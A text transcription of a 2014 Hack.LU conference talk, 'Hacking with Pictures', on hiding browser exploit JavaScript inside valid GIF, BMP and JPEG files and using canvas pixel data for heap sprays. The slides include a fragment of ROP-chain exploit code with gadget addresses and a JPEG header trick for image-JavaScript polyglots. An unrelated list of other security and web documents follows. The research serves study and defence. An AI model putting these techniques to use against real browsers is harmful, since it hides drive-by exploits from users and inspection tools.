Hacking with Pictures
|
|
|
- Christine Manning
- 6 years ago
- Views:
Transcription
1 Hacking with Pictures Saumil Shah Hack.LU 2014
2 Introduction Saumil Shah CEO, saumilshah hacker, trainer, speaker, author - educating, entertaining and exasperating audiences since 1999
3 #who am i CEO Net-Square Reverse Engineering Exploit Writing Penetration Testing Offensive Security Attack Defense Conference Speaker Conference Trainer Web 2.0 HTML5 XSS CSRF SQLi CORS XST clickjacking AJAX FLASH RIA SOAP Web Services UXSS XPATHi <insert buzzwordy appsec jargon here>
4 Avoiding Radar JS Obfuscation Broken File Formats Javascript/ Actionscript OLE Embedding Spreading the payload
5 Hiding In Plain Sight
6 G r e e t i n g s P r o f e s s o r F a l k e n
7 I'm an evil Javascript I'm an innocent image
![addressof["pop_ecx_ret"]=0x6d81cd57;addressof["mov_peax_ec x_ret"]=0x6d979720;addressof["mov_eax_pecx_ret"]=0x6d8d7be 0;addressof["mov_pecx_eax_ret"]=0x6d8eee01;addressof["inc_](/docs-images/74/70147229/images/8-2.jpg "eax_ret\"]=0x6d838f54;addressof[\"add_eax_4_ret\"]=0x00000000 ;addressof[\"call_peax_ret\"]=0x6d8aec31;addressof[\"add_esp_ 24_ret\"]=0x00000000;addressof[\"popad_ret\"]=0x6d82a8a1;addr")
8 function packv(n){var s=new Number(n).toString(16);while(s.length<8)s="0"+s;return(une scape("%u"+s.substring(4,8)+"%u"+s.substring(0,4)))}var addressof=new Array();addressof["ropnop"]=0x6d81bdf0;addressof["xchg_eax _esp_ret"]=0x6d81bdef;addressof["pop_eax_ret"]=0x6d906744; addressof["pop_ecx_ret"]=0x6d81cd57;addressof["mov_peax_ec x_ret"]=0x6d979720;addressof["mov_eax_pecx_ret"]=0x6d8d7be 0;addressof["mov_pecx_eax_ret"]=0x6d8eee01;addressof["inc_ eax_ret"]=0x6d838f54;addressof["add_eax_4_ret"]=0x ;addressof["call_peax_ret"]=0x6d8aec31;addressof["add_esp_ 24_ret"]=0x ;addressof["popad_ret"]=0x6d82a8a1;addr essof["call_peax"]=0x6d802597;function call_ntallocatevirtualmemory(baseptr,size,callnum){var ropnop=packv(addressof["ropnop"]);var pop_eax_ret=packv(addressof["pop_eax_ret"]);var pop_ecx_ret=packv(addressof["pop_ecx_ret"]);var mov_peax_ecx_ret=packv(addressof["mov_peax_ecx_ret"]);var mov_eax_pecx_ret=packv(addressof["mov_eax_pecx_ret"]);var mov_pecx_eax_ret=packv(addressof["mov_pecx_eax_ret"]);var call_peax_ret=packv(addressof["call_peax_ret"]);var add_esp_24_ret=packv(addressof["add_esp_24_ret"]);var popad_ret=packv(addressof["popad_ret"]);var retval=""! <CANVAS>
9 Avoid the EVIL eval() var a = eval(str); a = (new Function(str))(); Hat tip: Dr. Mario
10 Theory Becomes Practice Hiding In Plain Sight
11 IMAJS I IZ JAVASCRIPT!
12 Cross Container Scripting - XCS <img src="itsatrap.gif"> <script src="itsatrap.gif"> </script>
13 IMAJS The Concept "Polyglot files" term coined by Ange IMAJS is targeted towards browsers. It is a perfectly valid image......and a perfectly valid Javascript!
14 IMAJS-GIF Browser Support Height Width Browser/Viewer Image Renders? 2f 2a Firefox yes yes 2f 2a Safari yes yes 2f 2a IE no yes 2f 2a Chrome yes yes 2f 2a Opera?? 2f 2a Preview.app yes - 2f 2a XP Image Viewer no - 2f 2a Win 7 Preview yes - Javascript Executes?
15 IMAJS-BMP Browser Support Height Width Browser/Viewer Image Renders? 2f 2a Firefox yes yes 2f 2a Safari yes yes 2f 2a IE yes yes 2f 2a Chrome yes yes 2f 2a Opera yes yes 2f 2a Preview.app yes - 2f 2a XP Image Viewer yes - 2f 2a Win 7 Preview yes - Javascript Executes?
16 All new IMAJS-JPG! JPG is more powerful than other formats for hiding stuff. Thanks to EXIF data! JPG+JS JPG+HTML...and JPG+JS+HTML! Hat tip: Michael
17 The Secret Sauce Regular JPEG Header FF D8 FF E A C Start marker length "J F I F \0" 01 2C FF E2... next section... Modified JPEG Header FF D8 FF E0 2F 2A 4A C Start marker length "J F I F \0" 01 2C FF E2... whole lot of extra space! next section...
18 The Secret Sauce Modified JPEG Header FF D8 FF E0 2F 2A 4A C Start marker length "J F I F \0" 01 2C FF E2... whole lot of extra space! next section... See the difference? FF D8 FF E0 /* 4A C Start marker comment! 01 2C */='';alert(date());/* FF E2... Javascript goes here next section...
19
20 CANVASHTML5 for Exploit Dev jscript9.dll introduced many changes. No %u0000 in strings. No 0x in strings. Kills conventional Heap Sprays. <CANVAS> to the rescue! IE9 and above "support" HTML5. <!DOCTYPE html>
21 CANVAS for Exploit Dev Heap Sprays through Pixel Arrays! No character restrictions. All pixels treated equally! And a bonus... ALPHA CHANNELS.
22 Stegosploit!
23 MS CInput Use-After-Free IMAJS stego PWN!
24 < PAYLOADS GO back in time
25 Attack Timeline I'M IN UR BASE GET /lolcat.png 200 OK...KILLING UR DOODZ GET /decoder.jpg 200 OK GET /lolcat.png 304 Not Modified JS Exploit code encoded in PNG. EVIL Decoder script references PNG from cache. SAFE MAY 2014 OCT 2014
26 Conclusions - Offensive Lot of possibilities! Weird containers, weird encoding, weird obfuscation. Image attacks emerging "in the wild". Not limited to just browsers.
27 Conclusions - Defensive DFIR nightmare. how far back does your window of inspection go? Can't rely on extensions, file headers, MIME types or magic numbers. Wake up call to browser-wallahs.
28 Greets and props Michael Mario The fantastic crew of HACK.LU!
29 Saumil saumilshah
Saumil Shah. net-square DEEPS E C
when Bad Things come Good in packages Saumil Shah DEEPS E C 2 0 1 2 # who am i Saumil Shah, CEO Net-Square. Hacker, Speaker, Trainer, Author - 15 yrs in Infosec. M.S. Computer Science Purdue University.
Teflon: Anti-stick for the browser's attack surface
Teflon: Anti-stick for the browser's attack surface Saumil Shah ceo, net-square Hack.LU 2008 Luxembourg # who am i # who am i! 16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33! USER TTY FROM LOGIN@
Security in a Mainframe Emulator. Chaining Security Vulnerabilities Until Disaster Strikes (twice) Author Tim Thurlings & Meiyer Goren
Security in a Mainframe Emulator Chaining Security Vulnerabilities Until Disaster Strikes (twice) Author Tim Thurlings & Meiyer Goren October 25, 2017 Table of Contents Introduction... 2 About this paper...
Perfect Student Midterm Exam March 20, 2007 Student ID: 9999 Exam: 7434 CS-081/Vickery Page 1 of 5
Perfect Student Midterm Exam March 20, 2007 Student ID: 9999 Exam: 7434 CS-081/Vickery Page 1 of 5 NOTE: It is my policy to give a failing grade in the course to any student who either gives or receives
The Image that called me
The Image that called me Active Content Injection with SVG Files A presentation by Mario Heiderich, 2011 Introduction Mario Heiderich Researcher and PhD student at the Ruhr- University, Bochum Security
CTF Workshop. Crim Synopsys, Inc. 1
CTF Workshop Crim2018 31.10.2018 2018 Synopsys, Inc. 1 CTF (Capture the Flag) Capture the Flag (CTF) is a computer security competition. CTF are usually designed test and teach computer security skills.
CSC 482/582: Computer Security. Cross-Site Security
Cross-Site Security 8chan xss via html 5 storage ex http://arstechnica.com/security/2015/09/serious- imgur-bug-exploited-to-execute-worm-like-attack-on- 8chan-users/ Topics 1. Same Origin Policy 2. Credential
Exploiting unknown browsers and objects. with the Hackability inspector
Exploiting unknown browsers and objects with the Hackability inspector!1 About me U+6158 I'm a researcher at PortSwigger I hacking JavaScript 1337inalert(1) @garethheyes!2 Hackability Created to test capabilities
Comparing Javascript Engines. Xiang Pan, Shaker Islam, Connor Schnaith
Comparing Javascript Engines Xiang Pan, Shaker Islam, Connor Schnaith Background: Drive-by Downloads 1. Visiting a malicious website 2. Executing malicious javascript 3. Spraying the heap 4. Exploiting
Application. Security. on line training. Academy. by Appsec Labs
Application Security on line training Academy by Appsec Labs APPSEC LABS ACADEMY APPLICATION SECURITY & SECURE CODING ON LINE TRAINING PROGRAM AppSec Labs is an expert application security company serving
Content Security Policy
About Tim Content Security Policy New Tools for Fighting XSS Pentester > 10 years Web Applications Network Security Products Exploit Research Founded Blindspot Security in 2014 Pentesting Developer Training
Flash Ads. Tracking Clicks with Flash Clicks using the ClickTAG
How-to Guide to Displaying and Tracking Rich-Media/Flash Ads Image advertising varies from standard GIF, JPG, PNG to more interactive ad technologies such as Flash, or rich-media (HTML Ads). Ad Peeps can
Imagery in a WebGIS. Wenxue Ju & Naila Khan
Imagery in a WebGIS Wenxue Ju & Naila Khan What s in store for today s session Introduction to ArcGIS Image Services Capabilities of Image Services in ArcGIS Online and Portal for ArcGIS Imagery support
HTML5: Something wicked this way comes. Krzysztof Kotowicz Securing
HTML5: Something wicked this way comes Krzysztof Kotowicz Securing 1 About me security researcher HTML 5 UI redressing / clickjacking xss-track, squid-imposter,... pentester IT security trainer Hacking
NEC UC Desktop R6 UI Customizations. NEC Desktop R6.5
NEC UC Desktop R6 UI Customizations NEC Desktop R6.5 Contents 1. Overview... 3 2. Licensing... 3 3. System Requirements... 3 4. Profile View... 4 4.1 BLF Appearance Selection... 4 4.1.1 UC Desktop Selection...
Neat tricks to bypass CSRF-protection. Mikhail
Neat tricks to bypass CSRF-protection Mikhail Egorov @0ang3el About me AppSec Engineer @ Ingram Micro Cloud Bug hunter & Security researcher Conference speaker https://www.slideshare.net/0ang3el @0ang3el
11/5/16 WEB DESIGN. Branding Fall 2016
designschool.canva.com/blog/print-vs-web/ nngroup.com/articles/differences-between-print-design-and-web-design/ howdesign.com/web-design-resources-technology/top-content-management-systems-designers/ alchemyuk.com/design/74-top-10-web-design-tips
RKN 2015 Application Layer Short Summary
RKN 2015 Application Layer Short Summary HTTP standard version now: 1.1 (former 1.0 HTTP /2.0 in draft form, already used HTTP Requests Headers and body counterpart: answer Safe methods (requests): GET,
Adobe Captivate Level 1
Information Technology Services Kennesaw State University Adobe Captivate Level 1 Presented by Technology Outreach in collaboration with The Multimedia Development Group (MDG) Copyright 2007 Information
Some Facts Web 2.0/Ajax Security
/publications/notes_and_slides Some Facts Web 2.0/Ajax Security Allen I. Holub Holub Associates allen@holub.com Hackers attack bugs. The more complex the system, the more bugs it will have. The entire
USER GUIDE. MADCAP FLARE 2018 r2. Images
USER GUIDE MADCAP FLARE 2018 r2 Images Copyright 2018 MadCap Software. All rights reserved. Information in this document is subject to change without notice. The software described in this document is
Page Content. Inserting Text To add text to your document, you can type the text directly or use Cut or Copy and Paste or Paste Special.
This section describes how to add content to your pages including text, Microsoft Office documents, images, Flash, and other media content. Inserting Text To add text to your document, you can type the
NET 311 INFORMATION SECURITY
NET 311 INFORMATION SECURITY Networks and Communication Department Lec12: Software Security / Vulnerabilities lecture contents: o Vulnerabilities in programs Buffer Overflow Cross-site Scripting (XSS)
Display Screen User Guide. Last Updated: October 28, 2016
Display Screen User Guide Last Updated: October 28, 2016 Table of Contents Before you Begin... 2 Create content in Microsoft PowerPoint... 2 Convert your content in Microsoft PowerPoint to images... 3
W3Conf, November 15 & 16, Brad Scott
The Future of Web Application Security W3Conf, November 15 & 16, 2011 Brad Hill @hillbrad bhill@paypal-inc.com Scott Stender @scottstender scott@isecpartners.com The History of Web App Security Attacker
Introduction to InfoSec SQLI & XSS (R10+11) Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Introduction to InfoSec SQLI & XSS (R10+11) Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il) Covered material Useful SQL Tools SQL Injection in a Nutshell. Mass Code
Breaking Tor Sessions with HTML5. Marco Bonetti 19 Nov 2009 DeepSec - Vienna
Breaking Tor Sessions with HTML5 Marco Bonetti mbonetti@cutaway.it 19 Nov 2009 DeepSec - Vienna whoami Marco Bonetti Security Consultant @ CutAway s.r.l. mbonetti@cutaway.it http://www.cutaway.it/ Member
Mobile LREC. Dimension: Mobile: 640 (W) x 500 (H) pixels (for News app now, available on mytv SUPER app since Jan 2018)
Mobile LREC Dimension: Mobile: 640 (W) x 500 (H) pixels (for News app now, available on mytv SUPER app since Jan 2018) File format/ size: Must provide (.gif or.jpg) still image or HTML5 (a ZIP file containing
Client Side Injection on Web Applications
Client Side Injection on Web Applications Author: Milad Khoshdel Blog: https://blog.regux.com Email: miladkhoshdel@gmail.com 1 P a g e Contents INTRODUCTION... 3 HTML Injection Vulnerability... 4 How to
VectorDraw web Library
VectorDraw web Library What is it? A vector graphics library that is designed to not only open CAD drawings but also display generic vector objects on any platform that supports the HTML 5 standard, such
Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007
Web 2.0 and AJAX Security OWASP Montgomery August 21 st, 2007 Overview Introduction Definition of Web 2.0 Basics of AJAX Attack Vectors for AJAX Applications AJAX and Application Security Conclusions 1
The PKI Lie. The OWASP Foundation Attacking Certificate Based Authentication. OWASP & WASC AppSec 2007 Conference
The PKI Lie Attacking Certificate Based Authentication Ofer Maor CTO, Hacktics OWASP & WASC AppSec 2007 Conference San Jose Nov 2007 Copyright 2007 - The OWASP Foundation Permission is granted to copy,
Writing Secure Chrome Apps and Extensions
Writing Secure Chrome Apps and Extensions Keeping your users safe Jorge Lucángeli Obes Software Engineer Keeping users safe A lot of work going into making browsers more secure What about users' data?
Progress Exchange June, Phoenix, AZ, USA 1
1 COMP-1: Securing your web application against hackers Edwin Lijnzaad & Ronald Smits Consultants Agenda Introduction Issues How to... Questions 2 COMP-1: Securing your web application against hackers
JOE WIPING OUT CSRF
JOE ROZNER @JROZNER WIPING OUT CSRF IT S 2017 WHAT IS CSRF? 4 WHEN AN ATTACKER FORCES A VICTIM TO EXECUTE UNWANTED OR UNINTENTIONAL HTTP REQUESTS WHERE DOES CSRF COME FROM? LET S TALK HTTP SAFE VS. UNSAFE
Chapter 12 Creating Web Pages
Getting Started Guide Chapter 12 Creating Web Pages Saving Documents as HTML Files Copyright This document is Copyright 2017 by the LibreOffice Documentation Team. Contributors are listed below. You may
Chapter 1 Getting Started with HTML 5 1. Chapter 2 Introduction to New Elements in HTML 5 21
Table of Contents Chapter 1 Getting Started with HTML 5 1 Introduction to HTML 5... 2 New API... 2 New Structure... 3 New Markup Elements and Attributes... 3 New Form Elements and Attributes... 4 Geolocation...
Cropping an Image for the Web
Cropping an Image for the Web This guide covers how to use the Paint software included with Microsoft Windows to crop images for use on a web page. Opening Microsoft Paint (In Windows Accessories) On your
introduction to XHTML
introduction to XHTML XHTML stands for Extensible HyperText Markup Language and is based on HTML 4.0, incorporating XML. Due to this fusion the mark up language will remain compatible with existing browsers
Adobe Dreamweaver CS5
Adobe Dreamweaver CS5 Introduction Web Site Development and Adobe Dreamweaver CS5 Objectives Describe the Internet, the Web, and their associated terms Specify the difference between a Web page and a Web
Wednesday, 10 October 2012 PRELIMINARY SLIDES
PRELIMINARY SLIDES THIS WAY NO, it is not about horror stories concerning JavaScript WE ALL LOVE FEAR- MONGERING. Wednesday, 10 October 2012 starting with the credits... A Short History of the javascript
CS 161 Computer Security
Paxson Spring 2011 CS 161 Computer Security Discussion 6 March 2, 2011 Question 1 Cross-Site Scripting (XSS) (10 min) As part of your daily routine, you are browsing through the news and status updates
Lecture Overview. IN5290 Ethical Hacking. Lecture 4: Web hacking 1, Client side bypass, Tampering data, Brute-forcing
Lecture Overview IN5290 Ethical Hacking Lecture 4: Web hacking 1, Client side bypass, Tampering data, Brute-forcing Summary - how web sites work HTTP protocol Client side server side actions Accessing
NoScript, CSP and ABE: When The Browser Is Not Your Enemy
NoScript, CSP and ABE: When The Browser Is Not Your Enemy Giorgio Maone CTO, NoScript lead developer InformAction OWASP-Italy Day IV Milan 6th, November 2009 Copyright 2008 - The OWASP Foundation Permission
eb Security Software Studio
eb Security Software Studio yslin@datalab 1 OWASP Top 10 Security Risks in 2017 Rank Name 1 Injection 2 Broken Authentication and Session Management 3 Cross-Site Scripting (XSS) 4 Broken Access Control
JOE WIPING OUT CSRF
JOE ROZNER @JROZNER WIPING OUT CSRF IT S 2017 WHAT IS CSRF? 4 WHEN AN ATTACKER FORCES A VICTIM TO EXECUTE UNWANTED OR UNINTENTIONAL HTTP REQUESTS WHERE DOES CSRF COME FROM? 6 SAFE VS. UNSAFE Safe GET HEAD
Setting Up the World Missions Touchscreen:
Setup for World Missions Touchscreen 11/18/15, 10:20 AM Installing the World Missions Touchscreen Sponsored by Assemblies of God World Missions Setting Up the World Missions Touchscreen: 1. Set up your
Pair projects due Thursday I do not anticipate giving any extensions for this assignment. 3/2/ Larry Snyder, CSE 1
Pair projects due Thursday I do not anticipate giving any extensions for this assignment 3/2/15 2011 Larry Snyder, CSE 1 XML is essential for huge corporate systems. and for us Lawrence Snyder University
Web Browser Security. CSC 482/582: Computer Security Slide #1
Web Browser Security CSC 482/582: Computer Security Slide #1 Topics 1. HTML 2. JavaScript, JSON, and the DOM 3. Same Origin Policy (SOP) 4. XHR and Ajax 5. Cross-Origin Resource Sharing (CORS) 6. Extensions
Programmazione Web a.a. 2017/2018 HTML5
Programmazione Web a.a. 2017/2018 HTML5 PhD Ing.Antonino Raucea antonino.raucea@dieei.unict.it 1 Introduzione HTML HTML is the standard markup language for creating Web pages. HTML stands for Hyper Text
Drupal Frontend Performance & Scalability
Riverside Drupal Meetup @ Riverside.io August 14, 2014 Christefano Reyes christo@larks.la, @christefano Who's Your Presenter? Who's Your Presenter? Why We Care About Performance Who's Your Presenter? Why
Fireworks 3 Animation and Rollovers
Fireworks 3 Animation and Rollovers What is Fireworks Fireworks is Web graphics program designed by Macromedia. It enables users to create any sort of graphics as well as to import GIF, JPEG, PNG photos
Programming Lab 1 (JS Hwk 3) Due Thursday, April 28
Programming Lab 1 (JS Hwk 3) Due Thursday, April 28 Lab You may work with partners for these problems. Make sure you put BOTH names on the problems. Create a folder named JSLab3, and place all of the web
Portable Document Malware, the Office, and You
Portable Document Malware, the Office, and You Get owned with it, can't do business without it! Seth Hardy Senior Malware Analyst Threat Research and Response shardy@messagelabs.com SecTor 2009 October
WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang
WEB SECURITY WORKSHOP TEXSAW 2014 Presented by Solomon Boyd and Jiayang Wang Introduction and Background Targets Web Applications Web Pages Databases Goals Steal data Gain access to system Bypass authentication
last time: command injection
Web Security 1 last time: command injection 2 placing user input in more complicated language SQL shell commands input accidentally treated as commands in language instead of single value (e.g. argument/string
Dreamweaver Basics Workshop
Dreamweaver Basics Workshop Robert Rector idesign Lab - Fall 2013 What is Dreamweaver? o Dreamweaver is a web development tool o Dreamweaver is an HTML and CSS editor o Dreamweaver features a WYSIWIG (What
GOING WHERE NO WAFS HAVE GONE BEFORE
GOING WHERE NO WAFS HAVE GONE BEFORE Andy Prow Aura Information Security Sam Pickles Senior Systems Engineer, F5 Networks NZ Agenda: WTF is a WAF? View from the Trenches Example Attacks and Mitigation
CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2
CNIT 129S: Securing Web Applications Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2 Finding and Exploiting XSS Vunerabilities Basic Approach Inject this string into every parameter on every
UNIT 3 SECTION 1 Answer the following questions Q.1: What is an editor? editor editor Q.2: What do you understand by a web browser?
UNIT 3 SECTION 1 Answer the following questions Q.1: What is an editor? A 1: A text editor is a program that helps you write plain text (without any formatting) and save it to a file. A good example is
Large-Scale Analysis of Style Injection by Relative Path Overwrite
Large-Scale Analysis of Style Injection by Relative Path Overwrite Sajjad Arshad, Seyed Ali Mirheidari, Tobias Lauinger, Bruno Crispo, Engin Kirda, William Robertson WWW - 26 April 2018 Relative Path Overwrite
Base64 The Security Killer
Base64 The Security Killer Kevin Fiscus NWN Corporation Session ID: DAS-203 Session Classification: Intermediate A Short (Made Up) Security Story Helix Pharmaceuticals is concerned about security Industrial
(GOT YOUR NOSE) (got your nose) (How Attackers steal your precious Data without using Scripts) A Presentation by Mario Heiderich, 2012
(GOT YOUR NOSE) (How Attackers steal your precious Data without using Scripts) A Presentation by Mario Heiderich, 2012 (Our Dear Speaker) Mario Heiderich Researcher and PhD Student, Ruhr-Uni Bochum PhD
CSP ODDITIES. Michele Spagnuolo Lukas Weichselbaum
ODDITIES Michele Spagnuolo Lukas Weichselbaum ABOUT US Michele Spagnuolo Lukas Weichselbaum Information Security Engineer Information Security Engineer We work in a special focus area of the Google security
INTRODUCTION TO WEB USING HTML What is HTML?
Geoinformation and Sectoral Statistics Section (GiSS) INTRODUCTION TO WEB USING HTML What is HTML? HTML is the standard markup language for creating Web pages. HTML stands for Hyper Text Markup Language
RailsConf Europe 2008 Juggernaut Realtime Rails. Alex MacCaw and Stuart Eccles
RailsConf Europe 2008 Juggernaut Realtime Rails Alex MacCaw and Stuart Eccles RailsConf Europe 2008 Juggernaut Realtime Rails Alex MacCaw and Stuart Eccles http://www.madebymany.co.uk/ server push HTTP
Lesson 3 Creating and Using Graphics
Lesson What you will learn: how to delete a sprite and import a new sprite how to draw using the pen feature of Scratch how to use the pen up and pen down feature how to change the colour of the pen how
HTML5 MOCK TEST HTML5 MOCK TEST I
http://www.tutorialspoint.com HTML5 MOCK TEST Copyright tutorialspoint.com This section presents you various set of Mock Tests related to HTML5 Framework. You can download these sample mock tests at your
Pop-up. File format/ size: Must provide (.gif or.jpg) still image - max. 75KB for Mobile - max. 400KB for Tablet
Pop-up Dimensions: Mobile: 640 (W) x 960 (H) pixels Tablet Portrait - 1536 (W) x 2048 (H) pixels [For mytv SUPER only] Tablet Landscape - 2048 (W) x 1536 (H) pixels [For mytv SUPER only] File format/ size:
Web Application Security. Philippe Bogaerts
Web Application Security Philippe Bogaerts OWASP TOP 10 3 Aim of the OWASP Top 10 educate developers, designers, architects and organizations about the consequences of the most common web application security
Parashar Technologies HTML Lecture Notes-4
CSS Links Links can be styled in different ways. HTML Lecture Notes-4 Styling Links Links can be styled with any CSS property (e.g. color, font-family, background, etc.). a { color: #FF0000; In addition,
RIA Security - Broken By Design. Joonas Lehtinen IT Mill - CEO
RIA Security - Broken By Design Joonas Lehtinen IT Mill - CEO a system is secure if it is designed to be secure and there are no bugs no system should be designed to be insecure not all bugs are security
IMPORTANT DATE: THE SUBMISSION DEADLINE FOR ALL ABSTRACTS IS JANUARY 5, 11:59 PM PST
Thank you for your interest in submitting an abstract for the upcoming Emerging Technology Session. This document is intended to be your guide in using the online submission software and we strongly suggest
Web Security. Web Programming.
Web Security Web Programming yslin@datalab 1 OWASP Top 10 Security Risks in 2017 Rank Name 1 Injection 2 Broken Authentication and Session Management 3 Cross-Site Scripting (XSS) 4 Broken Access Control
Understanding Browsers
Understanding Browsers What Causes Browser Display Differences? Different Browsers Different Browser Versions Different Computer Types Different Screen Sizes Different Font Sizes HTML Errors Browser Bugs
HUAWEI TECHNOLOGIES CO., LTD. Huawei FireHunter6000 series
HUAWEI TECHNOLOGIES CO., LTD. Huawei 6000 series Huawei 6000 series can detect APT (Advanced Persistent Threat) attacks, which altogether exploit multiple techniques (including zero-day vulnerabilities
BEST PRACTICES HTML5 SPECIFICATIONS. what's next in data-driven advertising. File Types. HTML5: HTML, JS, CSS, JPG, JPEG, GIF, PNG, and SVG
SPECIFICATIONS HTML5 creatives are a type of display creative that must follow the same guidelines as display creatives with some additional recommendations. The IAB Display Advertising Guidelines (https://www.iab.com/newadportfolio/)
Unusual Web Bugs. A Web App Hacker s Bag O Tricks. Alex kuza55 K.
Unusual Web Bugs A Web App Hacker s Bag O Tricks Alex kuza55 K. kuza55@gmail.com http://kuza55.blogspot.com/ I'm Alex Starting Uni next year Working for SIFT http://www.sift.com.au/ This talk is Not an
Best Practices. For developing a web game in modern browsers. Colt "MainRoach" McAnlis
Best Practices For developing a web game in modern browsers Colt "MainRoach" McAnlis 3.05.2012 The call me "web game" Content Server Database Gameplay Server Google App Engine Google Analytics Social Graph
Internet: An international network of connected computers. The purpose of connecting computers together, of course, is to share information.
Internet: An international network of connected computers. The purpose of connecting computers together, of course, is to share information. WWW: (World Wide Web) A way for information to be shared over
WEB APPLICATION PENETRATION TESTING VERSION 2
WEB APPLICATION PENETRATION TESTING VERSION 2 The most practical and comprehensive training course on web application pentesting elearnsecurity has been chosen by students in over 140 countries in the
CodeHS Hour of Code: Teacher Guide
Hour of Code: Teacher Guide BEFORE THE HOUR OF CODE: Make sure student computers have an up-to-date browser (Chrome, Safari, or Firefox). Read through teacher notes in this document. Download notes to
Simple Image Viewer for IBM Content Navigator
Simple Image Viewer for IBM Content Navigator Type of Submission: Article Title: Simple Image Viewer for IBM Content Navigator Subtitle: Keywords: image, viewer, plug-in, content, navigator, icn Prefix:
Web basics: HTTP cookies
Web basics: HTTP cookies Myrto Arapinis School of Informatics University of Edinburgh November 20, 2017 1 / 32 How is state managed in HTTP sessions HTTP is stateless: when a client sends a request, the
Human vs Artificial intelligence Battle of Trust
Human vs Artificial intelligence Battle of Trust Hemil Shah Co-CEO & Director Blueinfy Solutions Pvt Ltd About Hemil Shah hemil@blueinjfy.net Position -, Co-CEO & Director at BlueInfy Solutions, - Founder
NEW WEBMASTER HTML & CSS FOR BEGINNERS COURSE SYNOPSIS
NEW WEBMASTER HTML & CSS FOR BEGINNERS COURSE SYNOPSIS LESSON 1 GETTING STARTED Before We Get Started; Pre requisites; The Notepad++ Text Editor; Download Chrome, Firefox, Opera, & Safari Browsers; The
ENGL 323: Writing for New Media Repurposing Content for the Web Part Two
ENGL 323: Writing for New Media Repurposing Content for the Web Part Two Dr. Michael Little michaellittle@kings.edu Hafey-Marian 418 x5917 Using Color to Establish Visual Hierarchies Color is useful in
Bug-Alcoholic Untamed World of Web Vulnerabilities. OWASP AppSec 2010, University of California Irvine, CA, USA September 10, 2010
Bug-Alcoholic 2.0 - Untamed World of Web Vulnerabilities OWASP AppSec 2010, University of California Irvine, CA, USA September 10, 2010 Aditya K Sood SecNiche Security Labs Sr. Security Practitioner, Armorize
Master Project Software Engineering: Team-based Development WS 2010/11
Master Project Software Engineering: Team-based Development WS 2010/11 Implementation, September 27 th, 2011 Glib Kupetov Glib.Kupetov@iese.fraunhofer.de Tel.: +49 (631) 6800 2128 Sebastian Weber Sebastian.Weber@iese.fraunhofer.de
Advanced CSRF and Stateless at OWASP AppSec Research 2012
Advanced CSRF and Stateless Anti-CSRF @johnwilander at OWASP AppSec Research 2012 Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden @johnwilander johnwilander.com
Metasploit Exploit CVE MS IE7 CFunctionPointer Uninitialized Memory Corruption
Metasploit Exploit CVE-2009-0075 MS09-002 IE7 CFunctionPointer Uninitialized Memory Corruption Attacker with Metasploit Victim with IE7 Victim IE7 requests http://216.6.1.100/taxrefund Attacker Metasploit
Browser Based Defenses
Browser Based Defenses Introducing x06d james@bluenotch.com Browser Based Defenses - (c) 2010 All Rights Reserved 1 The Problem: Re-Anonymizing You! Overall State of the Web Client/Browser issues Hard
Image Management Guideline Managing Your Site Images
Managing Your Site Images Topics Covered Contents = Go to Topic 1. Free Resize/Image Editing Tools 2. Resize Images Using Picresize.com 3. Uploading Images Quick Guide 4. Image Gallery Management 5. Replacing
Copyright
1 SECURITY TEST Data flow -- Can you establish an audit trail for data, what goes where, is data in transit protected, and who has access to it? Data storage -- Where is data stored, and is it encrypted?
USER GUIDE PowerPhoto CRM
USER GUIDE PowerPhoto CRM 2013 2015 Contents CONFIGURING POWERPHOTO Add, Remove, Set Default, Set Record Image, Thumbnail & View Text Display Original File Save Original File Resize Photo Resize Height
UI Redressing: Attacks and Countermeasures Revisited
UI Redressing: Attacks and Countermeasures Revisited Marcus Niemietz @CONFidence 2011 25th of May 2011 Short and crisp details about me Studying IT-Security/Information Technology at the Ruhr-University
Web Development & Design Foundations with HTML5 & CSS3 Instructor Materials Chapter 4 Test Bank
1. Choose the item that creates an image link to the school.htm page when the school.gif graphic is clicked. a. b.
Revision for Grade 7 ASP in Unit :1&2 Design & Technology Subject
Your Name:.... Grade 7 - SECTION 1 Matching :Match the terms with its explanations. Write the matching letter in the correct box. The first one has been done for you. (1 mark each) Term Explanation 1.
Mobile MOUSe WEB SITE DESIGN ONLINE COURSE OUTLINE
Mobile MOUSe WEB SITE DESIGN ONLINE COURSE OUTLINE COURSE TITLE WEB SITE DESIGN COURSE DURATION 19 Hours of Interactive Training COURSE OVERVIEW In this 7 session course Debbie will take you through the
CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis
CSE361 Web Security Attacks against the client-side of web applications Nick Nikiforakis nick@cs.stonybrook.edu Despite the same origin policy Many things can go wrong at the client-side of a web application